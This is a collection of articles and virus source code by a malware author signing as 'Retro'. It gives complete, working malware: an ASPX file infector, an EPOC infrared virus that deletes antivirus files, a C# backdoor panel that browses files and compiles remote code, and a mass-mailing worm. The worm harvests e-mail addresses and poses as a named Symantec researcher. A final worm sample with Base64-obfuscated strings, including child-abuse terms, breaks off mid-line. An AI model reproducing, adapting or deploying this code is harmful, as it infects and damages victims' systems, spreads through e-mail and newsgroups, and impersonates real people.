the body, we do this with the reference of HttpWebRequest. So first, lets initialize a new HttpWebRequest object to the server file which deals with the uploading. HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www5.upload2.net/upload.php"); Now we can set the message headers. Since we are sending data, we need to use 'post' as the method to contact the resource. If we dont specify the method, it uses the default 'get' method. request.Method = "POST"; The ContentType property specifies the HTTP content type for the response. If no ContentType is specified, the default is text/HTML. request.ContentType = "multipart/form-data; charset=UTF-8; boundary=" + boundary; Specify which Internet media types are acceptable for the response. request.Accept = "text/xml,application/xml,application/xhtml+xml, " + "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"; Here we can input our own headers if we wish too. The first string is the name and the second string is the value. You can see that I have included the Accept-Encoding and Accept-Charset headers. The Accept-Encoding request-header field is similar to Accept, but restricts the content-codings that are acceptable in the response. Also Accept-Charset specifies the encoding that must be accepted by the server in order to handle the form. request.Headers.Add("Accept-Encoding", "gzip,deflate"); request.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7"); Now we need to indicate the content length. What I mean by this is the size of the entire message body, including the contents of the file. request.ContentLength = buffer.Length; Provide an instance of the CookieContainer class that contains the cookie associated with this request, its not necessarily required, but it can be very helpful. request.CookieContainer = new CookieContainer(); Since upload2.net has updated, the server seems to be misconfigured, and cant handle "Expect 100-Continue" anymore, we can turn it off. ServicePointManager.Expect100Continue = false; With the headers sent, we can send the message body. This can be done by firstly getting the request stream being used, and then write the body to the stream. Stream srvStream = request.GetRequestStream(); srvStream.Write(buffer, 0, buffer.Length); srvStream.Close(); After we've sent the message, we request the server for a response. HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Subsequently at this point its up to you in regards of how you want to proceed. You can read the data redeemed back, which will most probably be the html code of the response page and then search for the link in that. Another way which I used was to get the response Uniform Resource Identifier. string respURL = response.ResponseUri.ToString(); The string will look something like this: http://www.upload2.net/page/upload/id/9Hc75uWcHuRO7Jt/pwd/CTvtYigAfpctOge All we want from this is the unique 15 character key '9Hc75uWcHuRO7Jt'. The format for the download URI is in the way of http://www.upload2.net/page/download/{uniqueKey}/{filename}.html The method I used is a simple way around, but it works. After grabbing the response url, we can get a substring of the unique key. The Substring function has two input values, the first one in where in the string you'd like the substring to start from and the second value, is the number of characters you want in the substring. Substring(int StartIndex, int Length) The unique key started at character 38 in the response url, with the key being 15 characters in length. if (response1.StatusCode.ToString().Contains("OK")) { Form1.rcvURL = response1.ResponseUri.ToString(); string text3 = Form1.rcvURL.Substring(0x26, 15); string text4 = string.Format("http://www.upload2.net/page/download/{0}/{1}.html", text3, Form1.filename); } So in order to achived the right download URI we can create a new string and format it with the following method String.Format("http://www.upload2.net/page/download/{0}/{1}.html", uniquekey, filename); Giving us the download link as http://www.upload2.net/page/download/9Hc75uWcHuRO7Jt/Absondo.exe.html Eureka! 4. O U T R O The only imperfection I find with the way the URI is generated, is if the admin changes the way the link is given. For now this does work, but what if the link format is changed in the future? I cannot foresee whats going to happen but I think the best way to overcome this small predicament is to read the source and search for the download link myself. With all the other sharing hosts out there, i'm sure the basic concept of this can be adapted to work with others services, so good luck!articles
Run-Time Compiling Retro R u n - T i m e C o m p i l i n g b y R e t r o 1 7 t h A p r i l 2 0 0 6 h t t p : / / r e t r o . h o s t . s k w w w . r r l f . d e . v u ************************************************************************************* 1. I N T R O I'm going to show you today, on how you can compile source code at runtime in csharp. After finishing Letum I started to look into metamorphic code, after searching through google I came across a little something called csharp-scripting and what I will be showing you is exactly the same thing but within itself. 2. S Y N T A X We only need two namespaces to complete this task - Microsoft.CSharp - Contains classes that support compilation and code generation using the C# language. System.CodeDom.Compiler - Contains types for managing the generation and compilation of source code in supported programming languages. 3. P A R A M E T E R S To initialize the compiler we do the following // Get the provider for Microsoft.CSharp CodeDomProvider provider = new CSharpCodeProvider(); // CompilerParameters object represents the settings and options for an ICodeCompiler interface CompilerParameters cp = new CompilerParameters(); · cp.GenerateExecutable = true; If you set this to true, then when it compiles it will generate a executable file otherwise it will give you a dynamic link library. · cp.OutputAssembly = "test.exe"; Sets the name for the output. · cp.ReferencedAssemblies.Add( "System.dll" ); This adds an assembly reference. I've read that you need to add each one for every assembly you plan to use in your code, but while testing I found this is not the case. I managed to use other references in my code by just using the above assembly. · cp.GenerateInMemory = False; When set to false it will save the assembly has a physical file, ie an executable file, otherwise it will save it into memory. · cp.WarningLevel = 3; The warning level at which the compiler aborts compilation. (The default warning level in MSVS8 is 4) · cp.TreatWarningAsErrors = false; Sets whether the compiler should treat warning messages as errors. · cp.CompilerOptions = "/optimize"; Sets options for the compiler, the given example gives optimize output. · cp.MainClass = "Sample.Class1"; If needed you can specify the class that contains the main method of the executable. · cp.EmbeddedResources.Add("Default.resources"); Set the embedded resource file of the assembly. This is useful for culture-neutral resources, or default (fallback) resources. · cp.TempFile = new TempFileCollection(".", true); Set a temporary files collection. The TempFileCollection stores the temporary files generated during a build in the current directory, but does not delete them after compilation. 4. C O M P I L E R R E S U L T S Now we have provided the compiler with the options for compilation, we can now go ahead and compile our source code. This is easily accomplished but the following line of code. CompilerResults cr = provider.CompileAssemblyFromFile(cp, sourceFile); This will compile the code from a file, where the sourceFile will point to its full path, but you dont just have to compile by using this method though. The other ways in which it can be done are: · provider.CompileAssemblyFromDom Compiles an assembly based on the System.CodeDom trees contained in the specified array of CodeCompileUnit objects. · provider.CompileAssemblyFromSource Compiles an assembly from the specified array of strings containing source code, eg. a text box. After compilation has been done we can now check for errors if(cr.Errors.Count > 0) { // Display compilation errors. Console.WriteLine("Errors Found!") foreach(CompilerError ce in cr.Errors) { Console.WriteLine(" {0}", ce.ToString()); } } else { // Compilation OK Console.WriteLine("Compilation done with no errors") } Hopefully now you've understood on how to compile code at runtime, at which you can use however you see fit ************************************************************************************* retrouk[AT]gmail.comarticles
The Virus Hunter Retro The Virus Hunter Taken From Pc Extreme Issue 21 Retro http://retro.hosk.sk
articles
Warning Virus! Retro Warning Virus! Taken From .Net Christmas 2003 Retro http://retro.hosk.sk
sources
ASPX.Diutinus Retro _ |_) _ _|_ ._ _ | \ (/_ |_ | (_) www.pugnax.co.uk ************************************************* ** ASPX.Diutinus ** ** Summer 2006 ** ************************************************* Anarchistic Sadistic <%@ Import Namespace="System.IO" %> <%@ Page Language="C#"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head id="Head1" runat="server"> <title>Diutinus</title> </head> <body> <form id="form1" runat="server"> <!--incoho--> <% StringBuilder exitus = new StringBuilder(); string Path = Request.PhysicalApplicationPath; string myself = Request.FilePath.Substring(Request.FilePath.LastIndexOf("/") + 1); StreamReader msr = File.OpenText(Path + myself); string mCode = msr.ReadToEnd(); int cStart = mCode.IndexOf(@"<!--incoho-->"); int cEnd = mCode.LastIndexOf("<!--compleo-->") + 14; mCode = mCode.Substring(cStart, cEnd - cStart); string[] files = Directory.GetFiles(Path, "*.aspx"); foreach (string file in files) { bool infected = false; string thefile = file.Substring(file.LastIndexOf("\\") + 1); string vCode = null; if (thefile == myself) { } else { StreamReader sr = File.OpenText(Path + thefile); string input = null; while ((input = sr.ReadLine()) != null) { if (input.Contains("Diutinus")) { infected = true; } vCode += input + "\r\n"; } sr.Close(); if (infected == false) { if (!vCode.Contains("System.IO")) { exitus.Append("<%@ Import Namespace=\"System.IO\" %" + Convert.ToChar(62) + "\r\n"); } exitus.Append(vCode.Substring(0, vCode.LastIndexOf("%" + Convert.ToChar(62)) + 2)); exitus.Append(mCode); exitus.Append(vCode.Substring(vCode.LastIndexOf("</form>"))); TextWriter tw = new StreamWriter(Path + thefile); tw.WriteLine(exitus); tw.Close(); } } } Response.Write("Diutinus by Retro/rRlf<br>"); Response.Write(" 24th December 2006"); %> <!--compleo--> </form> </body> </html>sources
EPOC.Orter Retro _ |_) _ _|_ ._ _ | \ (/_ |_ | (_) www.pugnax.co.uk ************************************************* ** EPOC.Orter ** ** September 2003 ** ************************************************* Anarchistic Sadistic From what I know of this is the first virus developed for epoc systems. This code may be buggy as I haven’t tested it because I only have one epoc device and it spreads through Infrared. When run, it deletes the PC-cillin anti-virus contents and folder, copies itself to C:\System\orter and then tries to send itself through the infrared port. -----[C O D E]--------------------------------------------------------- /* EPOC.Orter by Retro http:retro.host.sk www.indovirus.net */ APP Orter,666 ENDA PROC Main: GLOBAL file$(255), statusW& file$ = "Orter.app" gVISIBLE OFF IF EXIST ("C:\System\Orter\") dINIT "Epoc.Orter" dTEXT "","You have been infected" dBUTTONS "OK", %O | $100 RETURN DIALOG = %Y ELSE Retro: Infect: SendI: Payload: ENDIF ENDP PROC Payload: dINIT "Epoc.Orter by Retro" dTEXT "","http://retro.host.sk" ,$202 dTEXT "","Shouts go out to indovirus.net, Iwing",2 dTEXT "","Kefi, cpu_wizad and magstr2003",$202 dBUTTONS "OK", %O | $100 RETURN DIALOG=%O ENDP PROC Retro: IF EXIST ("C:\System\Apps\PcciEpoc\") DELETE "C:\System\Apps\PcciEpoc\*" RMDIR "C:\System\Apps\PcciEpoc\" ELSE ENDIF ENDP PROC Infect: ONERR NEXT:: MKDIR "C:\System\Orter\" COPY "Orter.app","C:\System\Orter\" COPY "Orter.app","C:\System\Temp\" NEXT:: ENDP PROC SendI: IRDACONNECTTOSEND&:(KItTinyTP$,8) IRDAWRITE:(file$, statusW&) IF statusW& = 0 IRDADISSCONECT: ELSE STOP ENDIF ENDPsources
MSIL.Insanio Retro using System; using System.IO; using System.Net; using System.Text; using System.Windows.Forms; using Microsoft.Win32; namespace Insanio { partial class Form1 { private void Commands(Stream output, string input) { if (input.Contains("voco=")) { input = input.Remove(0, 5); input = input.Replace("+", " "); httpSend(output, Compile(input)); return; } if (input.Contains("ping=")) { httpSend(output, "Pong"); return; } string command = input.Substring(input.IndexOf("=") + 1, input.IndexOf("&") - input.IndexOf("=") - 1); string[] param = new string[5]; input = input.Substring(input.IndexOf("&") + 1); input = input.Substring(input.IndexOf("=") + 1); input = input.Replace("+", " "); if (input.Contains(" ")) { param = input.Split(new Char[] {' '}); } else { param[0] = input; } switch (command) { default: httpSend(output, "Unknown command"); return; case "album": // File Manager httpSend(output, Album(param)); return; case "annuo": // Change password httpSend(output, Annuo(param)); return; case "miro": // View Files httpSend(output, Miro(param)); return; case "missa": httpSend(output, Missa(param)); return; case "ianitor": // Login httpSend(output, Ianitor(param)); return; case "ianua": // Logout httpSend(output, Ianua(param)); return; case "voco": // Compile httpSend(output, Voco(param)); return; } } private string htmlLayout(string strData) { string data = "<html><head><style type=\"text/css\">" + "body {background: #000;}" + "* {font-size: 10px; font-family: Verdana; color: #fff;}" + "b {color: #e42217;} h1 {color: #e42217; font-size: 16px;}" + "table {border: 0; cellpadding: 0; cellspacing: 0; width: 100%;}" + "tr { width: 550px;}" + "input, submit, textarea, select {background-color: #000; border: 1px solid #e42215;}" + "#first {margin: 0 auto 0 auto; display: table; top: 40px; height: 100%; width: 500px; position: relative;}" + "</style></head>" + "<body>" + "<div id=\"first\"><h1>Insanio</h1>" + "<hr width=\"100%\" noshade style=\"color:red; background-color:red;\">" + "<p><form name=\"form\" method=\"post\" action=\"http://" + theHost.Address.ToString() + ":" + theHost.Port.ToString() + "\"><p><select name=\"command\"><option value=\"album\">Album</option><option value=\"annuo\">Annuo</option><option value=\"ianitor\">Ianitor</option><option value=\"ianua\">Ianua</option><option value=\"missa\">Missa</option><option value=\"miro\">Miro</option><option value=\"voco\">Voco</option></select><input type=\"text\" name=\"param\" size=\"50\"><input type=\"submit\" value=\"SEND\"></form></p>" + strData + "<hr width=\"100%\" noshade style=\"color:red; background-color:red;\">" + "<b>Version: 1.0</b>" + "</div></body></html>"; return data; } private string htmlTags(string temp) { string[] oChar = { "%3A", "%5C", "%21", "%22", "%A3", "%24", "%25", "%5E" , "%26", "%28", "%29", "%3D", "%2B", "%7B", "%7D", "%5B", "%5D", "%27", "%40", "%23", "%7E", "%2C", "%3C", "%3E", "%2F", "%3F", "%7C", "%0D", "%0A", "%3B", "%09"}; string[] nChar = { ":", "\\", "!", "\"", "£", "$", "%", "^", "&", "(", ")", "=", "+", "{", "}", "[", "]", "'", "@", "#", "~", ",", "<", ">", "/", "?", "|", "\r", "\n", ";", "\t"}; for (int i = 0; i < oChar.Length; i++) { temp = temp.Replace(oChar[i], nChar[i]); } return temp; } /* * * Commands * * */ private string Album(string[] input) { if (login) { StringBuilder sb = new StringBuilder(); bool real = Directory.Exists(input[0]); if (real) { string[] dirs = Directory.GetDirectories(input[0]); sb.Append("Current Folder: <b>" + input[0] + "<br></p><p>\n<table><tbody>\n"); foreach (string dir in dirs) { sb.AppendLine("<tr><td><b>" + dir + "</b></td><td>" + Directory.GetLastAccessTime(dir) + "</td></tr>\n"); } string[] files = Directory.GetFiles(input[0]); foreach (string file in files) { sb.AppendLine("<tr><td><b>" + file + "</b></td><td>" + Directory.GetLastAccessTime(file) + "</td></tr>\n"); } sb.AppendLine("</tbody></form></table>\n"); return sb.ToString(); } return "Not Found"; } return "Unauthorized Access"; } private string Annuo(string[] input) { if (login) { RegistryKey theKey = Registry.LocalMachine.OpenSubKey(@"Software\Retro", true); if (input[0] == "username") { theKey.SetValue("username", Encryption(input[1])); username = input[1]; login = false; return "Username has been changed, please login again!"; } if (input[0] == "password") { theKey.SetValue("password", Encryption(input[1])); password = input[1]; login = false; return "Password has been changed, please login again!"; } return "Unknown command!"; } return "Unauthorized Access"; } private string Miro(string[] input) { string tmp = "<form name=\"form\" method=\"get\"><p><textarea name=\"file\" rows=\"16\" cols=\"44\">"; if (login) { try { using (StreamReader sr = new StreamReader(input[0])) { String line; while ((line = sr.ReadLine()) != null) { tmp += line + "\n"; } return tmp + "</textarea></p></form>"; } } catch (Exception e) { return e.Message; } } return "Unauthorized Access"; } private string Missa(string[] input) { if (login) { } return "Unauthorized Access"; } private string Ianitor(string[] input) { if (input[0] == username || input[1] == password) { login = true; return "You are now logged in."; } else { return "The information you have given is incorrect"; } } private string Ianua(string[] input) { if (login) { login = false; return "Goodbye!"; } return "Unauthorized Access"; } private string Voco(string[] input) { if (login) { string strout = "<p>Source Code</p><form name=\"form\" method=\"post\" action=\"http://" + theHost.Address + ":" + theHost.Port + "\">" + "<p><textarea name=\"voco\" rows=\"20\" cols=\"90\"></textarea><br>" + "<input type=\"submit\" value=\"Compile\"> </p></form>"; return strout; } return "Unauthorized Access"; } } }sources
MSIL.Letum Retro _ |_) _ _|_ ._ _ | \ (/_ |_ | (_) www.pugnax.co.uk ************************************************* ** MSIL.Letum ** ** (MSIL.Letum.A) ** ** March 2006 ** ************************************************* Anarchistic Sadistic /* Letum - Version 4 * by Retro * http://retro.host.sk * * Special thanks to Genetix */ using System; using System.Collections; using System.IO; using System.Net; using System.Net.Sockets; using System.Reflection; using System.Text; using System.Text.RegularExpressions; using System.Threading; using System.Windows.Forms; using Microsoft.Win32; namespace Letum22 { public class Letum { static Module self; static string pferrie = "peter_ferrie@symantec.com"; static string[] nSubject = new string[7] { "Warning!", "Virus Alert", "Customer Support", "Re:", "Re:Warning", "Letum", "Virus Report" }; static string[] nData = new string[3] {"Dear Users\r\n\r\nDue to the high increase of the Letum worm, we have upgraded it to Category B. Please use our attached removal tool to scan and disinfect your computer from the malware.\r\n\r\n Regards\r\n Security Response", "Hiya,\r\n\r\n I've found this tool a couple of weeks ago, and after using it i was surprised on how good it was on squashing viruses. I wonder if avers know about this? ;)", ">>\r\n Maybe not but try this, i'm sure it will help you in your fight against malware. The engine it uses isnt to bad, but the searching speed is very fast for such a small size "}; static ArrayList List = new ArrayList(); [STAThread] static void Main() { //Creates and Initializes Random rand = new Random(); Thread nntpThread = new Thread(new ThreadStart(nntp)); Thread smtpThread = new Thread(new ThreadStart(smtp)); // Gets all the modules that are part of this assembly self = Assembly.GetExecutingAssembly().GetModules()[0]; // Collect Directories from C: and stores them in List CollectDirs(@"C:\", List); // Picks a random number between 0 and the number of entries in List int num = rand.Next(0, List.Count); // create variables and set folder to random directory object regData; string folder = List[num].ToString(); // Retrieves the subkey "Software\Retro" RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Retro", true); if (key == null) { // Sets up the registry, when run for the first time. // Creates the subkey and sets the key to the directory its in key = Registry.CurrentUser.CreateSubKey(@"Software\Retro"); key.SetValue("Letum", folder + @"\" + self.ScopeName); // and copies itself to the choosen directory File.Copy(self.FullyQualifiedName, folder.ToString() + @"\" + self.ScopeName); } // Read registry for last Host file and delete it regData = key.GetValue("Letum"); File.Delete(regData.ToString()); // Copy itself to choosen directory File.Copy(self.FullyQualifiedName, folder.ToString() + @"\" + self.ScopeName); // Writes new key to Software\Retro and Run key.SetValue("Letum", folder + @"\" + self.ScopeName); key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); key.SetValue("Letum", folder + @"\" + self.ScopeName); // Close key key.Close(); // Start threads nntpThread.Start(); smtpThread.Start(); num = rand.Next(0, 1983); // 1:1983 chance of displaying message if (num == rand.Next(0, 1983)) { MessageBox.Show("Dear Peter Ferrie \n\nGeNeTiX is a person not a f**king genetically modified food product. \nShe's not happy you called her that! \n\nRegards", "Name Entry Error", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } } static void nntp() { // Creates and Initializes TcpClient nntp = new TcpClient(); ArrayList nGroup = new ArrayList(); StringBuilder fuuencode = new StringBuilder(); Random rand = new Random(); // Set variables string s, sReply; int cursor = 0; object nntpServer = null; // Look in registry for an NNTP server RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager\Accounts"); // Reads the entries in the key string[] lstSubDir = key.GetSubKeyNames(); // For each one found do the following ... foreach (string subKey in lstSubDir) { // Opens the Subkey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager\Accounts\" + subKey); string[] d = key.GetValueNames(); foreach (string a in d) { if (a == "NNTP Server") { nntpServer = key.GetValue("NNTP Server"); } } } if (nntpServer == null) { nntpServer = "news.microsoft.com"; } // Connect to news server try { nntp.Connect("news.microsoft.com", 119); } catch { return; } NetworkStream nStream = nntp.GetStream(); StreamReader nReader = new StreamReader(nStream); StreamWriter nWriter = new StreamWriter(nStream); nWriter.AutoFlush = true; //Get the reply from server sReply = nReader.ReadLine(); // If connection went ok then continue if (sReply.Substring(0, 3) != "200") { // Get list of newsgroups nWriter.WriteLine("LIST"); s = nReader.ReadLine(); MessageBox.Show(s); while (s != ".") { s = nReader.ReadLine(); if (s != ".") { s = s.Substring(0, s.IndexOf(" ")); nGroup.Add(s); } } int num = rand.Next(0, nGroup.Count); object newsgroup = nGroup[num]; // Open the choosen newsgroup nWriter.WriteLine("GROUP " + newsgroup); // Server reply sReply = nReader.ToString(); // If open was ok if (sReply.Substring(0, 3) != "211") { // Carry on with posting a message nWriter.WriteLine("POST"); sReply = nReader.ToString(); // If posting is ok if (sReply.Substring(0, 3) != "340") { // Pick a random message subject string Subject = nSubject[rand.Next(0, nSubject.Length)]; // Pick random message data string rsData = nData[rand.Next(0, nData.Length)] + "\r\n\r\n"; // Set itself to read itself FileStream inFile = new FileStream(self.ScopeName, FileMode.Open, FileAccess.Read); // Set variable byte[] bs = new byte[inFile.Length]; // Read itself inFile.Read(bs, 0, (int)inFile.Length); //Close inFile.Close(); // Encode byte to ASCII string uuencode = Encoding.ASCII.GetString(bs); string uustring, sBuffer = uuencode, str = String.Empty; if (sBuffer.Length % 3 != 0) { string trs = new string(' ', 3 - sBuffer.Length % 3); sBuffer = String.Concat(sBuffer, trs); } int j = sBuffer.Length; // Encode to uuencode for (int i = 1; i <= j; i += 3) { str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i - 1, 1)) / 4 + 32))); str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i - 1, 1)) % 4 * 16 + (int)Convert.ToChar(sBuffer.Substring(i, 1)) / 16 + 32))); str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i, 1)) % 16 * 4 + (int)Convert.ToChar(sBuffer.Substring(i + 1, 1)) / 64 + 32))); str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i + 1, 1)) % 64 + 32))); } // Replace all the spaces in the string to ` string udtf = str.Replace(' ', '`'); // Cut string down to 60 char chunks while (cursor < udtf.Length) { int size = Math.Min(60, udtf.Length - cursor); // Add M to each new line fuuencode.Append("M"); // Adds the next 60 chars fuuencode.Append(udtf, cursor, size); // Adds newline fuuencode.Append("\r\n"); cursor += size; } uustring = fuuencode.ToString(); // Removes the last occurrence of M uustring = uustring.Remove(uustring.LastIndexOf("M"), 1); // Sets up the message to be sent string pData = "FROM: " + pferrie + "\r\nNEWSGROUPS: " + newsgroup + "\r\nSUBJECT: " + Subject + "\r\n\r\n" + nData + "begin 644 " + self.ScopeName + "\r\n" + uustring + "\r\n'\r\nend\r\n."; // Send message nWriter.WriteLine(pData); sReply = nReader.ReadLine(); // If it was sent if (sReply.Substring(0, 3) != "240") { nntp.Close(); } } } } nntp.Close(); } static void smtp() { // Creates and Initializes TcpClient smtp = new TcpClient(); StringBuilder b64String = new StringBuilder(); Random rand = new Random(); // Set variables object smtpServer = null; int smtpCursor = 0; string smReply; string boundary = "----=_NextPart_81_27_24"; string htmlMsg = "<html><head></head><body bgcolor=\"white\" text=\"black\" link=\"blue\" vlink=\"purple\" alink=\"red\"><table border=\"0\" width=\"780\" bgcolor=\"white\"><tr><td width=\"154\" valign=\"top\" bgcolor=\"white\"><p> <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=\"154\"><p> <a href=\"http://www.symantec.com\">" + "<img src=\"http://www.langtech.com/images/projects/symantec_logoESP.gif\" border=\"0\"></a></p><p> </td></tr><tr><td width=\"154\" background=\"http://security.symantec.com/sscv6/languageContent/ie/sym/images/us.navbar.background.gif\"><p> </p><p><font face=\"Verdana\" size=\"1\"><a href=\"http://www.symantec.com/legal/legal_note.html\">Legal Notices</a></font><font face=\"Verdana\" size=\"1\"> <br clear=\"all\"></font><font face=\"Verdana\" size=\"1\"><a href=\"http://www.symantec.com/legal/privacy.html\">Privacy Policy</a></font></p><p> </p><p> </p><p> </td></tr></table><p> </td><td width=\"618\" valign=\"top\" bgcolor=\"white\"><p align=\"left\"><font face=\"Verdana\" size=\"2\"><br></font></p><p align=\"left\"> </p><p align=\"left\"> <div align=\"center\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"80%\"><tr><td width=\"616\"><p align=\"left\"> </p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Dear User,</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Due to the high increase of the Letum worm, we have upgraded it to Category B. Please use our attached removal tool to scan and disinfect your computer from the malware.</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">If you have any comments or questions about this, then please contact us.</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Regards</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Peter Ferrie<br clear=\"all\"></font><font face=\"Verdana\" size=\"1\">Senior Anti-Virus Researcher / Senior Principal Software Engineer </font></td></tr></table></div>" + "<p align=\"left\"></p><p align=\"left\"><div align=\"center\"><table border=\"0\" cellspacing=\"1\" width=\"100%\"><tr><td width=\"100%\" bgcolor=\"white\"><p align=\"center\"><font face=\"Verdana\" size=\"1\"><B>©1995 - 2006 Symantec Corporation All rights reserved.</font></td></B></tr></table></div></td></tr></table><p></p></body></html>"; // Look in registry for an SMTP server RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager"); // Reads the entries in the key string[] smtpDirs = key.GetSubKeyNames(); // For each one found do the following ... foreach (string smtpKey in smtpDirs) { // Opens the Subkey RegistryKey smtpSubKey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager\" + smtpKey, true); // Read the Value for 'NNTP Server' object Server = smtpSubKey.GetValue("SMTP Server"); // If the key isnt there if (Server == null) { // Hard code our own // !SMTP Server Relay Allowed! smtpServer = "mail.primaryhost.org.uk"; // Continue looking just in case continue; } else { // If key is found then store smtpServer = smtpSubKey.GetValue("SMTP Server"); } } // Find the path of the new file key = Registry.CurrentUser.OpenSubKey(@"Software\Retro", true); object HostPath = key.GetValue("Letum"); // Open file FileStream FileToB64 = new FileStream(HostPath.ToString(), FileMode.Open, FileAccess.Read); byte[] bArray = new byte[FileToB64.Length]; // Read file int rBytes = FileToB64.Read(bArray, 0, (int)FileToB64.Length); // and then close it FileToB64.Close(); // Convert to Base64 string b64encoded = Convert.ToBase64String(bArray); // Insert \r\n after every 76 chars while (smtpCursor < b64encoded.Length) { int Size = Math.Min(76, b64encoded.Length - smtpCursor); b64String.Append(b64encoded, smtpCursor, Size); b64String.Append("\r\n"); smtpCursor += Size; } // Connect to server smtp.Connect((string)smtpServer, 25); // Creates and Initializes NetworkStream smtpStream = smtp.GetStream(); StreamReader smtpReader = new StreamReader(smtp.GetStream()); StreamWriter smtpWriter = new StreamWriter(smtpStream); smtpWriter.AutoFlush = true; // Get the reply from server smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "220") { smtpWriter.WriteLine("HELO localhost\r\n"); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { try { foreach (string cDirs in List) { string[] htmlFiles = Directory.GetFiles(cDirs, "*html"); foreach (string htmlFile in htmlFiles) { Regex hRegex = new Regex("[a-zA-Z0-9-_.-]+@[a-zA-Z0-9-_.-]+\\.[a-zA-Z0-9]+"); FileStream inFile = new FileStream(htmlFile, FileMode.Open, FileAccess.Read); // Read html file byte[] source = new byte[inFile.Length]; inFile.Read(source, 0, (int)inFile.Length); inFile.Close(); // string htmlsource = Encoding.ASCII.GetString(source); foreach (Match strMatch in hRegex.Matches(Encoding.ASCII.GetString(source))) { // Message From smtpWriter.WriteLine("MAIL FROM: " + pferrie); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { // Message too smtpWriter.WriteLine("RCPT TO: " + strMatch); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { // Message input is ready smtpWriter.WriteLine("DATA"); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "354") { // Write the contents string mime = "FROM: Symantec Security Response <" + pferrie + ">\r\n" + "TO: <" + strMatch + "> " + strMatch + "SUBJECT: " + nSubject[rand.Next(0, nSubject.Length)] + "\r\n" + "MIME-Version: 1.0\r\n" + "Content-Type: multipart/mixed;\r\n\t" + "boundary=\"" + boundary + "\"" + "X-Priority: 3\r\n" + "X-MSMail-Priority: Normal\r\n" + "X-Mailer: Microsoft Outlook Express 6.00.2900.2180\r\n" + "X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180\r\n\r\n" + "This is a multi-part message in MIME format.\r\n" + "--" + boundary + "\r\n" + "Content-Type: text/html;\r\n\t" + "charset\"iso-8859-1\"\r\n" + "Content-Transfer-Encoding: 7bit\r\n\r\n" + htmlMsg + "\r\n--" + boundary + "\r\n" + "Content-Type: application/octet-stream;\r\n\t" + "name=\"test.exe\"\r\n" + "Content-Transfer-Encoding: base64\r\n" + "Content-Disposition: attachment;\r\n\t" + "filename=\"test.exe\"\r\n\r\n" + b64String + "\r\n\r\n" + "--" + boundary + "--\r\n.\r\n"; // smtpWriter.WriteLine(msgContents); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { // If email was sent ok then continue continue; } else { int l = 0; // Retry, up to five times if (l < 5) { smtp.Close(); Letum.smtp(); l++; } } } } } } } } } catch (System.UnauthorizedAccessException) { } } } // Close connection with server smtp.Close(); } static void CollectDirs(string dir, ArrayList storage) { try { string[] dirs = Directory.GetDirectories(dir); foreach (string d in dirs) { storage.Add(d); CollectDirs(d, storage); } } catch (System.UnauthorizedAccessException) { } } } }sources
MSIL.Parvulus Retro _ |_) _ _|_ ._ _ | \ (/_ |_ | (_) www.pugnax.co.uk ************************************************* ** MSIL.Parvulus ** ** (W32.Lupar.A) ** ** March 2006 ** ************************************************* Anarchistic Sadistic http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM_LUPAR.A --[Program.cs]-- using Microsoft.Win32; using Retro.FTP; using System; using System.Collections; using System.Diagnostics; using System.IO; using System.Net; using System.Reflection; using System.Text; using System.Windows.Forms; using System.Xml; namespace parvulus { public class Program { private static object g; private static Module me; [STAThreadAttribute()] private static void Main() { ArrayList list1 = new ArrayList(); FTPClient client1 = new FTPClient(); Random random1 = new Random(); DateTime time1 = DateTime.Now; ProcessStartInfo info1 = new ProcessStartInfo("shutdown.exe", "-f"); string text1 = Program.RandName(".txt"); string text2 = Environment.SystemDirectory.ToString(); int num1 = 0; string[] textArray1 = new string[] { Program.decrypt("cHRoYw=="), Program.decrypt("UGhvdG8gQnkgQ2FybCAtIFBlZG8="), Program.decrypt("cHJldGVlbg=="), Program.decrypt("Y2hpbGRsb3Zlcg=="), Program.decrypt("Y2hpbGQgcG9ybg=="), Program.decrypt("OHlv"), Program.decrypt("OXlv"), Program.decrypt("MTB5bw=="), Program.decrypt("MTF5bw=="), Program.decrypt("MTJ5bw==") }; string text3 = Dns.GetHostName(); IPHostEntry entry1 = Dns.GetHostEntry(text3); IPAddress[] addressArray1 = entry1.AddressList; StreamWriter writer1 = new StreamWriter(text2 + Program.decrypt("XA==") + text1); writer1.WriteLine(Program.decrypt("W1BhcnZ1bHVzXSBBdXRvLUdlbmVyYXRlZCBPbiA=") + time1.ToString("dddd, d MMMM yyyy H:m:s zzz \r\n")); writer1.WriteLine(Program.decrypt("T1MgVmVyc2lvbiAgIDog") + 